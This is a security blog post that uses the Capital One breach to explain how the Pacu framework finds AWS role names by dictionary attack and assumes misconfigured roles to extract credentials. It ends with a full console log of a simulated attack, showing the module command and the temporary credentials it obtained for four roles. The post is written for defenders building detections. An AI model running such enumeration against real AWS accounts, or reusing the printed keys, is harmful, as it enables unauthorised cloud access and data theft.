Skip to content
Scott McDonaldAug 5, 2019 12:00:00 AM7 min read

Hacking AWS with Pacu

Pacu cli tool ascii art

Pacu cli tool ascii art

Learning from the recent Capital One incident

There are a lot of lessons to be learned from the Capital One incident that was disclosed this week. Several of those lessons were covered earlier in an article by ScaleSec’s Ryan Canty: Practical, ProActive Amazon S3 Security. I think it is also important to look at the incident from the view of the attacker which is what we will be doing in this article.

For the first 7 years of my career I helped start and run one of the world’s first ISPs and web hosting companies. I spent a large majority of my time as a network/systems administrator dealing with the fallout from “script kiddie” exploits in the early days of the Internet. I learned firsthand how bad things can get when security attacks are automated by programs that almost anyone can run to exploit vulnerabilities. That experience has proven invaluable over the years in various projects and is once again coming in handy in the evolving cloud world we live in.

Some, but not all of the details about the recent Capital One incident were disclosed. A WAF role had its credentials extracted. Reports indicate this was a ModSecurity WAF, but details of the “firewall misconfiguration” leading to the data exfiltration have not been described publicly. The disclosure information indicates it was not an exploited vulnerability (not tied to a CVE) but specifically was a misconfiguration that lead to the unintended access to the PII stored in S3 buckets (which were not public).

As an AWS guru, this gave me pause. How could that happen via a misconfiguration? Right away I could see how that could happen via a CVE exploit on a 3rd party WAF running on an EC2 instance — but so far that is not what we are being told happened. We are being told it was a misconfiguration issue that lead to the WAF role on AWS being compromised (which could then be used to read from S3 with PII, which was another layer of the problem). But how could a simple misconfiguration on an AWS role for a WAF lead to a compromise of AWS role credentials? Let’s walk backwards through it — with lessons learned from Rhino Security Lab’s AWS penetration testing framework: Pacu.

Having used Pacu recently for creating Use Cases for AWS exploits for a client’s security team to use as starting blocks for building Splunk queries and Phantom playbooks — I was able to see how something like Pacu’s IAM Enumerate Roles module (not that it was used) could have been used for exactly this kind of scenario. By building attack simulations based on Pacu’s pentesting modules, I was able to capture API pattern fingerprints and example log patterns from CloudTrail that could be fed into a SIEM team’s alerting/response process. What I learned from the iam__enum_roles module in particular is relevant to learning about what could have happened with the recent Capital One incident.

This Pacu module performs a remote dictionary attack to figure out role names to exploit starting with nothing but an AWS account number. Note that AWS account numbers could be generated in mass by attackers as a starting point. Since there is no way to keep an account number private, the account numbers themselves should be thought of as being like public IPs and scanned (new products emerging in this space) proactively. This module will take a list of dictionary words (comes with 1100+ by default — but you can easily add more from other lists and your own findings) and then it uses attempts to assume those role names in the target AWS account.

Based on the error message Pacu gets trying to update a local malformed policy — Pacu can tell if the role name from the dictionary attack is a valid remote role or not. When performing this attack, Pacu will generate 0 logs on the target AWS account — only the attacker’s AWS account will have the thousands of failed UpdateAssumeRolePolicy API calls. Once Pacu has a list of valid roles for the target account, it will next attempt to assume those roles remotely. If the role is misconfigured, which happens when people use wildcards etc…, then Pacu is able to assume that role remotely and will extract the credentials for that role and display them for the attacker to use with other Pacu modules for escalation, cloaking, backdooring users/roles, discovering s3 buckets, and mass downloading s3 data.

When performing this attack, Pacu will generate 0 logs on the target AWS account — only the attacker’s AWS account will have the thousands of failed UpdateAssumeRolePolicy API calls.

It is a perfectly valid point that most AWS compromises happen because of leaked keys through something simple like accidental GitHub commits. But it is also important to realize that GitHub, and CVEs, are not the only way credentials could leak. As more people gain exposure to emerging AWS pentesting tools, I expect to see their usage spread like wildfire, similar to the early days of the internet and web hosting. The good old days of the Script Kiddies are back — only this time they are coming for your clouds. It’s important that people know that these tools are out there, they are not toys, they are very powerful, and they are gaining momentum.

As defenders, it’s our job to look for ways we can use easy exploit tools for AWS for a better defense. Security engineers could take lists of their known AWS accounts and their known AWS roles and cheat feeding those into Pacu as a way to detect if any of their AWS account roles are misconfigured for remote access — or detect if any of the external vendor account roles your integrated with and don’t have visibility into are misconfigured. This would be a good way to find those misconfigured roles in partner accounts, and have integration partners fix them, before they are exploited to gain access to your accounts.

Example of Pacu’s iam__enum_roles module in an attack simulation — remotely discovering roles based on a dictionary attack, and assuming those roles to extract credentials due their misconfigurations:

Pacu (pacu-new1:pacu-new1) > run 
iam__enum_roles — role-name DevOps — account-id
896747040350 Running module iam__enum_roles… [iam__enum_roles] Warning: This script does not
check if the keys you supplied have the correct
permissions. Make sure they are allowed to use
iam:UpdateAssumeRolePolicy on the role that you
pass into — role-name and are allowed to use
sts:AssumeRole to try and assume any enumerated
roles![iam__enum_roles] Targeting account ID:
896747040350 [iam__enum_roles] Starting role enumeration… [iam__enum_roles] Found role:
arn:aws:iam::896747040350:role/Admin [iam__enum_roles] Found role:
arn:aws:iam::896747040350:role/Administrator [iam__enum_roles] Found role:
arn:aws:iam::896747040350:role/sysadmin [iam__enum_roles] Found role:
arn:aws:iam::896747040350:role/test [iam__enum_roles] Found 4 role(s): [iam__enum_roles]
arn:aws:iam::896747040350:role/Admin [iam__enum_roles]
arn:aws:iam::896747040350:role/Administrator [iam__enum_roles]
arn:aws:iam::896747040350:role/sysadmin [iam__enum_roles] arn:aws:iam::896747040350:role/test [iam__enum_roles] Checking to see if any of
these roles can be assumed for temporary credentials… [iam__enum_roles] Role can be assumed, but hit
max session time limit, reverting to minimum of 1 hour… [iam__enum_roles] Successfully assumed role for
1 hour: arn:aws:iam::896747040350:role/Admin [iam__enum_roles] { “Credentials”: { “AccessKeyId”: “ASIA5BSSJ5ZPE3PTVKBX”, “SecretAccessKey”:
“gdAAOS+EFfHILnxGoIb2R5G2ci+5af+qe9PpFZ36”, “SessionToken”:
+Il6l4KNXL6OkF”, “Expiration”: “2019–07–25 22:57:41+00:00” }, “AssumedRoleUser”: { “AssumedRoleId”:
“AROA5BSSJ5ZPHMQPXNY5P:QT9A3z8Xsbh0US2ysn55”, “Arn”: “arn:aws:sts::896747040350:assumed-
role/Admin/QT9A3z8Xsbh0US2ysn55” } } [iam__enum_roles] Role can be assumed, but hit
max session time limit, reverting to minimum of 1 hour… [iam__enum_roles] Successfully assumed role for
1 hour: arn:aws:iam::896747040350:role/Administrator [iam__enum_roles] { “Credentials”: { “AccessKeyId”: “ASIA5BSSJ5ZPMQRJ3M7W”, “SecretAccessKey”:
“rp6J45X9v6JVc0yPiX/JD+23MX35SDerEpbMpckj”, “SessionToken”:
taiRFKNXL6OkF”, “Expiration”: “2019–07–25 22:57:41+00:00” }, “AssumedRoleUser”: { “AssumedRoleId”:
“AROA5BSSJ5ZPDNMJ7Q6Z4:6NRaP4vSfZzLxi3QiR3x”, “Arn”: “arn:aws:sts::896747040350:assumed-
role/Administrator/6NRaP4vSfZzLxi3QiR3x” } } [iam__enum_roles] Role can be assumed, but hit
max session time limit, reverting to minimum of 1 hour… [iam__enum_roles] Successfully assumed role for
1 hour: arn:aws:iam::896747040350:role/sysadmin [iam__enum_roles] { “Credentials”: { “AccessKeyId”: “ASIA5BSSJ5ZPG36RWIQY”, “SecretAccessKey”:
“WWzbn9jhjebKLLr6FFC4A0J0dLox3CPIqSO3Wm0O”, “SessionToken”:
pdVEYKNbL6OkF”, “Expiration”: “2019–07–25 22:57:42+00:00” }, “AssumedRoleUser”: { “AssumedRoleId”:
“AROA5BSSJ5ZPOXLF46OU5:BQEuw42KL305iby7Hzsx”, “Arn”: “arn:aws:sts::896747040350:assumed-
role/sysadmin/BQEuw42KL305iby7Hzsx” } } [iam__enum_roles] Role can be assumed, but hit
max session time limit, reverting to minimum of 1 hour… [iam__enum_roles] Successfully assumed role for
1 hour: arn:aws:iam::896747040350:role/test [iam__enum_roles] { “Credentials”: { “AccessKeyId”: “ASIA5BSSJ5ZPMQRO62OE”, “SecretAccessKey”:
“7T3I/MbpJhEjTJ9Gc+/OdIoCwSJ8QZvPEVeaXqvQ”, “SessionToken”:
/hE5nKNbL6OkF”, “Expiration”: “2019–07–25 22:57:42+00:00” }, “AssumedRoleUser”: { “AssumedRoleId”:
“AROA5BSSJ5ZPEN4ZAEYWI:NBpWfjBTLyqOo6t1uJ3w”, “Arn”: “arn:aws:sts::896747040350:assumed-
role/test/NBpWfjBTLyqOo6t1uJ3w” } } [iam__enum_roles] iam__enum_roles completed. [iam__enum_roles] MODULE SUMMARY: 4 role(s) found after 1136 guess(es). 4 out of 4 enumerated role(s) successfully assumed. Pacu (pacu-new1:pacu-new1) >

Thanks to Aaron Wilson.


The information presented in this article is accurate as of 7/19/23. Follow the ScaleSec blog for new articles and updates.